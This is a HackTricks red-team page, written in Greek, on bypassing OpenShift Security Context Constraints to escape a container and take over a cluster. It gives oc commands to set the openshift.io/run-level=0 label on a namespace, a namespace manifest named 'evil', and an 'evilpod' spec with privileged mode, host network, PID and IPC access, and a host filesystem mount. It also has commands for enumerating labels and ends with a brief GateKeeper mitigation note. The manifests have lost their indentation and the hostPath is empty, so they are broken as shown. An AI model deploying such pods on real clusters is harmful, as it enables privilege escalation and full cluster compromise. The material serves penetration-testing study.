Openshift - SCC bypass

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ο αρχικός συγγραφέας αυτής της σελίδας είναι Guillaume

Privileged Namespaces

Από προεπιλογή, το SCC δεν εφαρμόζεται στα παρακάτω έργα:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Εάν αναπτύξετε pods μέσα σε ένα από αυτά τα namespaces, δεν θα επιβληθεί κανένα SCC, επιτρέποντας την ανάπτυξη privileged pods ή την προσάρτηση του συστήματος αρχείων του host.

Namespace Label

Υπάρχει τρόπος να απενεργοποιήσετε την εφαρμογή SCC στο pod σας σύμφωνα με την τεκμηρίωση της RedHat. Θα χρειαστεί να έχετε τουλάχιστον μία από τις παρακάτω άδειες:

  • Δημιουργία Namespace και Δημιουργία Pod σε αυτό το Namespace
  • Επεξεργασία Namespace και Δημιουργία Pod σε αυτό το Namespace
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Η συγκεκριμένη ετικέτα openshift.io/run-level επιτρέπει στους χρήστες να παρακάμπτουν τα SCC για εφαρμογές. Σύμφωνα με την τεκμηρίωση της RedHat, όταν αυτή η ετικέτα χρησιμοποιείται, δεν επιβάλλονται SCC σε όλα τα pods μέσα σε αυτό το namespace, αφαιρώντας αποτελεσματικά οποιουσδήποτε περιορισμούς.

Προσθήκη Ετικέτας

Για να προσθέσετε την ετικέτα στο namespace σας:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Για να δημιουργήσετε ένα namespace με την ετικέτα μέσω ενός αρχείου YAML:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Τώρα, όλα τα νέα pods που δημιουργούνται στο namespace δεν θα έχουν κανένα SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

Ελλείψει SCC, δεν υπάρχουν περιορισμοί στον ορισμό του pod σας. Αυτό σημαίνει ότι μπορεί να δημιουργηθεί εύκολα ένα κακόβουλο pod για να διαφύγει στο σύστημα φιλοξενίας.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Τώρα, έχει γίνει πιο εύκολο να κλιμακώσετε τα δικαιώματα για να αποκτήσετε πρόσβαση στο σύστημα φιλοξενίας και στη συνέχεια να αναλάβετε ολόκληρο το cluster, αποκτώντας δικαιώματα ‘cluster-admin’. Αναζητήστε το μέρος Node-Post Exploitation στην παρακάτω σελίδα:

Attacking Kubernetes from inside a Pod

Προσαρμοσμένες ετικέτες

Επιπλέον, με βάση τη ρύθμιση στόχου, ορισμένες προσαρμοσμένες ετικέτες / αναφορές μπορεί να χρησιμοποιηθούν με τον ίδιο τρόπο όπως το προηγούμενο σενάριο επίθεσης. Ακόμα και αν δεν είναι φτιαγμένες για αυτό, οι ετικέτες θα μπορούσαν να χρησιμοποιηθούν για να δώσουν δικαιώματα, να περιορίσουν ή όχι μια συγκεκριμένη πηγή.

Προσπαθήστε να αναζητήσετε προσαρμοσμένες ετικέτες αν μπορείτε να διαβάσετε κάποιες πηγές. Εδώ είναι μια λίστα με ενδιαφέρουσες πηγές:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Λίστα όλων των προνομιακών namespaces

$ oc get project -o yaml | grep 'run-level' -b5

Προχωρημένη εκμετάλλευση

Στο OpenShift, όπως αποδείχθηκε νωρίτερα, η κατοχή άδειας για την ανάπτυξη ενός pod σε ένα namespace με την ετικέτα openshift.io/run-level μπορεί να οδηγήσει σε μια απλή κατάληψη του cluster. Από την προοπτική των ρυθμίσεων του cluster, αυτή η λειτουργία δεν μπορεί να απενεργοποιηθεί, καθώς είναι εγγενής στο σχεδιασμό του OpenShift.

Ωστόσο, μέτρα μετριασμού όπως το Open Policy Agent GateKeeper μπορούν να αποτρέψουν τους χρήστες από το να ορίσουν αυτή την ετικέτα.

Για να παρακάμψουν τους κανόνες του GateKeeper και να ορίσουν αυτή την ετικέτα για να εκτελέσουν μια κατάληψη του cluster, οι επιτιθέμενοι θα χρειαστεί να εντοπίσουν εναλλακτικές μεθόδους.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks